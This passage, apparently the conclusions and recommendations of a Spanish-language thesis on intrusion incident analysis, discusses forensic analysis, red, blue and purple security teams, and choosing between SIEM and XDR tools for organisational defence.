Es clave en el analisis de incidentes de intrusion, identificar el método

usado por el ciberdelincuente para lograr su cometido, pero aun mas
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importante la situacién y el entorno que permitié o dio lugar a esta intrusién
pues a partir de alli puede ser posible establecer medidas de seguridad

mucho mas robustas para que no se vuelvan a repetir esos escenarios.

La recreacion del escenario de ataque ofrecié un panorama mucho mas
realista del riesgo al que estuvo expuesto la maquina Windows, pues
aunque en el escenario solo se borré un archivo, pudo haberse generado
un incidente con consecuencias mucho mas graves como robo de la
informacion, extorsion mediante un ransomware, la implantacién de
spyware para conseguir aun mas informacién de la organizacién e incluso
el uso de este dispositivo como parte de una botnet, las posibilidades de

ataque solo quedan a la imaginacion.

Los procesos operativos previos a la materializacion de un incidente
informatico tienen gran relevancia para determinar el impacto final que
puede generarse, por lo cual es vital que las organizaciones reconozcan
que la prevencion y la preparacién a nivel de seguridad informatica pueden
hacer la diferencia entre que sea solo un evento pasajero o un desastre

catastrofico para la organizacion.

En los procesos de recuperacion de los sistemas afectados por un ataque
informatico es clave el analisis forense que permita identificar el tipo de
amenaza que genero el evento para aplicar de forma adecuada las medidas
necesarias, pues de no hacerse un analisis profundo, una mala eleccion de
medidas de contencién puede incluso generar una mayor afectacién en la

organizacion.

Aunque no todas las organizaciones pueden darse el lujo de tener equipos
dedicados de seguridad es importante hacerle entender a las

organizaciones que el valor agregado que traen los equipos, red team, blue,
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team, purple team y el equipo de respuesta a incidentes informaticos, a la
seguridad informatica de la organizacion se puede ver traducido en la
disminuciéon de ataques a su infraestructura, mayor confianza de sus
clientes frente a la administracién de sus datos, mejor reputacion, calidad
de servicio entre muchas otras, siendo una inversion a largo plazo, que

aunque no es tangible garantiza la continuidad del negocio.

En diferentes organizaciones puede que se le dé prioridad a la
implementacion de un SIEM o un XDR, pero su eleccion dependera de las
necesidades especificas de la organizacion, si una organizacion busca
principalmente visibilidad y cumplimiento normativo, un SIEM puede ser
suficiente, pero si se necesita una deteccién avanzada y una respuesta
rapida a amenazas mas sofisticadas, un XDR es lo mas apropiado. Incluso
si el factor econdmico y de talento humano no es un inconveniente se
puede optar por una estrategia hibrida que combine ambas soluciones para
obtener una proteccién integral. En conclusion, la eleccion dependera de la
estrategia de seguridad, el presupuesto y las metas especificas de
seguridad de la organizacion.
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9 RECOMENDACIONES

Los equipos red team, blue team y purple team, mas alla de sus funciones
especificas pueden aportar un gran valor a las organizaciones en términos
de seguridad y ventajas competitivas en el mercado, se sugiere a las
organizaciones implementar estos equipos con el fin de que puedan hacer
una identificacion realista del estado de sus procesos e infraestructuras a
nivel de seguridad, pues esto le permitira abordar de forma adecuada sus
necesidades, mejorando no solo los procesos de seguridad si no la
optimizacién de estos ofreciendo a sus colaboradores y clientes una mayor

confianza en sus servicios.

Los ejercicios de los equipos red team y blue team continuamente
proporcionan oportunidades de mejora, donde esos aprendizajes no solo
deben quedarse alli si no por el contrario comunicarse, por ello se sugiere
la continua capacitacion y concientizacion de todos los actores de la
organizacion, pues son ellos quienes deben asumir la responsabilidad
conjunta de la seguridad, lo que minimizara la posible materializacion de

riesgos asociados a la informacion.

Como consecuencia adicional a la implementacion de equipos red team,
blue team y purple team, se puede observar de forma mas certera las
inversiones en seguridad, dado que se podran relacionar los sistemas vy
controles implementados frente a las posibles pérdidas econdémicas y
reputacionales ante incidentes cibernéticos, demostrando si los recursos
estan siendo invertidos de forma adecuada. Del mismo modo estos
procesos pueden extrapolarse a proveedores y terceros, o que puede

permitir alcanzar estandares de seguridad mucho mas rigurosos.
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